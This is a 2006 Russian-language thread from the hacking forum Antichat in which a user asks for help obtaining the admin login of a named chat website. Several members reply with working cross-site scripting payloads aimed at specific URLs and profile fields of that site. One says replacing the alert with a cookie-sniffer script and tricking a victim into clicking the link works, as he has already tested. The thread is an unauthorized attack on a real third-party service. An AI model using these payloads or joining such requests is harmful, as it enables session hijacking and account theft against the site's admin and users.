ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Чаты
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Помогите взломать !!!!
  #1  
Старый 04.10.2006, 19:28
Аватар для kord
kord
Новичок
Регистрация: 04.10.2006
Сообщений: 3
Провел на форуме:
11113

Репутация: 0
По умолчанию Помогите взломать !!!!

http://chat.russianamerica.com:8080/ помогите узнать логин админа и код с уважением Автоматический гранатамёт Стечкина.
 
Ответить с цитированием

  #2  
Старый 04.10.2006, 21:06
Аватар для Sn@k3
Sn@k3
Познавший АНТИЧАТ
Регистрация: 13.04.2006
Сообщений: 1,738
Провел на форуме:
5151669

Репутация: 1198


Отправить сообщение для Sn@k3 с помощью ICQ
По умолчанию

Не нравиц мне та надпись Russian Amerika, будет время помогу!!!!!
 
Ответить с цитированием

  #3  
Старый 04.10.2006, 22:45
Аватар для kord
kord
Новичок
Регистрация: 04.10.2006
Сообщений: 3
Провел на форуме:
11113

Репутация: 0
По умолчанию

помоги чем можешь.
 
Ответить с цитированием

  #4  
Старый 04.10.2006, 23:36
Аватар для nc.STRIEM
nc.STRIEM
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме:
3493315

Репутация: 1228


Отправить сообщение для nc.STRIEM с помощью ICQ
По умолчанию

первое че брасаеться в глаза это пасив на главной странице


Код:
http://chat.russianamerica.com:8080/login?login=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
ток пробел над убрать в document.cookie
буду смотреть дальше...

-- в профиле не фильтруються двойные кавычки

Последний раз редактировалось nc.STRIEM; 04.10.2006 в 23:59..
 
Ответить с цитированием

  #5  
Старый 04.10.2006, 23:54
Аватар для Kaban
Kaban
Участник форума
Регистрация: 19.03.2006
Сообщений: 286
Провел на форуме:
2547059

Репутация: 144
По умолчанию

вот и я нашел
http://chat.russianamerica.com:8080/StPic?n='><script>alert(/Kaban/)</script>
XSS эта вроде работает, только когда под ником сидишь

Последний раз редактировалось Kaban; 04.10.2006 в 23:57..
 
Ответить с цитированием

  #6  
Старый 05.10.2006, 00:05
Аватар для nc.STRIEM
nc.STRIEM
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме:
3493315

Репутация: 1228


Отправить сообщение для nc.STRIEM с помощью ICQ
По умолчанию

Цитата:
Сообщение от Kaban  
вот и я нашел
http://chat.russianamerica.com:8080/StPic?n='><script>alert(/Kaban/)</script>
XSS эта вроде работает, только когда под ником сидишь
ну вот те пожалуст!
осталось заместо алерта подставить скрипт для сниффера и впарить комут ссылку! уже проверил работает!

Последний раз редактировалось nc.STRIEM; 05.10.2006 в 00:53..
 
Ответить с цитированием

  #7  
Старый 05.10.2006, 00:11
Аватар для Kaban
Kaban
Участник форума
Регистрация: 19.03.2006
Сообщений: 286
Провел на форуме:
2547059

Репутация: 144
По умолчанию

вроде тоже проходит
http://chat.russianamerica.com:8080/Gallery?s=%22%3E%3Cscript%3Ealert(/Kaban/)%3C/script%3E
 
Ответить с цитированием

  #8  
Старый 05.10.2006, 00:39
Аватар для nc.STRIEM
nc.STRIEM
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме:
3493315

Репутация: 1228


Отправить сообщение для nc.STRIEM с помощью ICQ
По умолчанию

Еще нашол в профиле полуактивную xss в поле Домашняя страничка: вставляеш
Код:
" onmouseover=javascript:alert(document.cookie) "
при наведение срабатывает

Последний раз редактировалось nc.STRIEM; 05.10.2006 в 00:59..
 
Ответить с цитированием

  #9  
Старый 05.10.2006, 08:56
Аватар для kord
kord
Новичок
Регистрация: 04.10.2006
Сообщений: 3
Провел на форуме:
11113

Репутация: 0
По умолчанию

Хакеры а что именно открываеться что то я не пойму что можно с этим делать и что логин и пароль админа не узнать?
 
Ответить с цитированием

  #10  
Старый 05.10.2006, 10:19
Аватар для Kaban
Kaban
Участник форума
Регистрация: 19.03.2006
Сообщений: 286
Провел на форуме:
2547059

Репутация: 144
По умолчанию

вот в этой статье всё прекрасно описано что делать, как делать и зачем делать.
http://forum.antichat.ru/thread20140.html
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
ПоМоГиТе! ПЛЗ!!! farik.aka E-Mail 1 17.09.2006 13:00
http://chita.sibchat.ru - помогите взломать Splash Чаты 2 14.01.2005 21:20
помогите взломать в чате пароль Чаты 1 11.12.2002 04:12



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ